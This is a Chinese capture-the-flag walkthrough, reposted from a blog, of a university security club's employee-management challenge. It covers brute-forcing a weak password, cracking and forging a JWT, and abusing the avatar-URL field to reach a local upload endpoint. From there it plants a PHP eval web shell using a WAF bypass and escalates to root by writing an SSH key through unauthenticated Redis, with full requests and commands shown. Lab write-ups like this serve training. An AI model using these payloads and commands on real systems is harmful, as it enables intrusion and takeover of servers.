小记一下企业员工管理系统弱口令爆破+JWT越权+CSRF+PHP一句话木马+Redis提权齐鲁师范学院网络安全社团练习平台

admin 2025-12-30 01:20:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复盘企业员工管理系统CTF题目。通过弱口令爆破获取账号,利用Hashcat破解JWT密钥伪造管理员身份。利用SSRF漏洞绕过本地访问限制,结合文件上传接口写入PHP一句话木马。最后利用Redis未授权漏洞写入SSH公钥,成功获取Root权限并拿到Flag。 综合评分: 91 文章分类: CTF,渗透测试,WEB安全,内网渗透


cover_image

小记一下企业员工管理系统 弱口令爆破+JWT越权+CSRF+PHP一句话木马+Redis提权 齐鲁师范学院网络安全社团练习平台

原创

小志z

志在片语

2025年12月29日 11:51 山东

这道题做了我超级超级久 知识点真的好多 牛逼(主要真的不知道怎么提权 后来才知道Redis这个也能提权 然后悟了 就做出来了 这道题的踩坑记录小记一下!

企业员工管理系统

出题人: Yime | 难度: 中等
这是一个匆忙交付的企业员工管理系统,只包含基础的用户功能。请尝试发现系统中可能存在的安全问题,不断深入,最终获得Flag。
Hint 1
系统中"普通用户"的用户名为“user”

弱口令爆破

这道题我踩坑在Burp了(这台电脑用的社区版 爆破了N久 我一直以为是被学校防火墙拦了 后来发现社区版非常慢!要用专业版

这里根据提示输入user

使用Burp的爆破功能爆破 用Top10000密码字典就好

得到user的密码为password123

JWT越权

使用user账户登录 查看cookie时发现为jwt

去jwt解密网站看到了签名方式为HS256

猜测为对称密钥弱口令 使用hashcat进行爆破 将jwt保存到jwt.hash文件

得到对称密钥为admin123 在同样的网站 输入对称密钥admin123 然后把role改为admin进行越权

记得点击编码 把编码后的jwt 当作cookie 用hackbar进行测试 越权成功!

CSRF

使用dirsearch 来扫一下有没有特殊的目录

看到了/test目录 再次扫描/test目录 找到了一个之前测试的上传接口!

尝试访问这个路径 发现没办法访问 显示要使用本地访问

管理员权限下有修改头像的点 这里正好有一个输入url的点

构造一个http://127.0.0.1/test/upload.php[1] url先尝试发送 看一下回显结果

POST /profile.php HTTP/1.1Host: challenge.qlnu-sec.cn:9510Content-Length: 74Cache-Control: max-age=0Accept-Language: zh-CN,zh;q=0.9Origin: http://challenge.qlnu-sec.cn:9510Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://challenge.qlnu-sec.cn:9510/profile.phpAccept-Encoding: gzip, deflate, brCookie: PHPSESSID=304d0c07b516c0156e26fe14fe67bb63; jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY2OTc3NDg2LCJleHAiOjE3NjY5ODEwODZ9.umawTL-mnCHkvI-ZnERK5NyM_X9upywk_DmvqSWjUwQConnection: keep-alive
target_username=user&avatar_url=http%3A%2F%2F127.0.0.1%2Ftest%2Fupload.php

上传成功

把头像文件下载下来可以看到里面有接口的详细介绍

PHP一句话木马上传

使用刚刚的上传接口 构建一个php一句话木马的URL 尝试一下

http://127.0.0.1/test/upload.php?content=<?php @eval($_POST['attack']);?>&filename=1.php

尝试绕WAF的时候发现应该是 看到php的字符串就会拦截 用以下方式绕过就好啦

http://127.0.0.1/test/upload.php?content=<?@eval($_POST['a']);?>&filename=1.php

Burp发包

POST&nbsp;/profile.php HTTP/1.1Host: challenge.qlnu-sec.cn:9510Content-Length:&nbsp;155Cache-Control: max-age=0Accept-Language: zh-CN,zh;q=0.9Origin: http://challenge.qlnu-sec.cn:9510Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests:&nbsp;1User-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64) AppleWebKit/537.36&nbsp;(KHTML, like Gecko) Chrome/143.0.0.0&nbsp;Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://challenge.qlnu-sec.cn:9510/profile.phpAccept-Encoding: gzip, deflate, brCookie: PHPSESSID=304d0c07b516c0156e26fe14fe67bb63; jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY2OTc3NDg2LCJleHAiOjE3NjY5ODEwODZ9.umawTL-mnCHkvI-ZnERK5NyM_X9upywk_DmvqSWjUwQConnection: keep-alive
target_username=user&avatar_url=http%3A%2F%2F127.0.0.1%2Ftest%2Fupload.php%3Fcontent%3D%3C%3F%40eval%28%24_POST%5B%27a%27%5D%29%3B%3F%3E%26filename%3D1.php

用蚁剑链接一下 get低权限shell成功

Redis提权

我真的没想到用Redis提权(长知识了 我一开始把精力放在变成交互式shell了(然后发现方向错了

用蚁剑的虚拟终端连上 先生成ssh密钥对

ssh-keygen&nbsp;-t&nbsp;rsa&nbsp;-f&nbsp;redis_key

公钥前后加上空行

(echo&nbsp;-e&nbsp;"\n\n"; cat redis_key.pub; echo&nbsp;-e&nbsp;"\n\n")&nbsp;>&nbsp;1.txt

写入公钥到redis

cat&nbsp;1.txt | redis-cli -h&nbsp;127.0.0.1&nbsp;-x set crack

查看写入情况

redis-cli -h&nbsp;127.0.0.1&nbsp;get crack

设置保存文件的位置

redis-cli -h 127.0.0.1 config&nbsp;set&nbsp;dir&nbsp;/root/.ssh

设置文件名

redis-cli -h&nbsp;127.0.0.1&nbsp;config set dbfilename authorized_keys

保存即可

redis-cli -h&nbsp;127.0.0.1&nbsp;save

用ssh链接 发现提权成功

ssh&nbsp;-o StrictHostKeyChecking=no&nbsp;-o UserKnownHostsFile=/dev/null -i redis_key [email protected]&nbsp;'whoami'

最后getflag


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:志在片语 小志z《小记一下企业员工管理系统 弱口令爆破+JWT越权+CSRF+PHP一句话木马+Redis提权 齐鲁师范学院网络安全社团练习平台》

评论:0   参与:  0